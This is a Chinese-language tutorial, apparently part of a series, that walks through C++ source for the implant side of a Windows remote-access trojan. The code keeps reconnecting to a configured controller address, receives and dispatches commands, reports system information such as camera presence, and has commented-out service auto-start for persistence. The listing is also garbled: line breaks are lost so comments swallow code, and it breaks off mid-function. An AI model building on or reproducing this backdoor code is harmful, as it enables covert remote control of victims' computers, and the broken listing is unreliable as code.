服务端编写

新建工程

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main;  // 主线程类  对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动  服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}

创建主线程类

获取配置信息

 void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件

运行

 
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ipif(sock == NULL){Sleep(this->Time * 1000);  //  等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }

command 命令

void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false)  // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接{break;}ExecCommand(msg,Sock);  // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}

头文件里创建引用

#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)

startsocket 开始监听 类函数

添加类

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])

mysend/myrecv

int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf; 
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}

#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};

设置

m_sock

#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};

void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}

Common 头文件

头文件 新添加项

MSGINFO_S 结构体

#pragma once
#include <windows.h>
#define SYSINFO  0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息
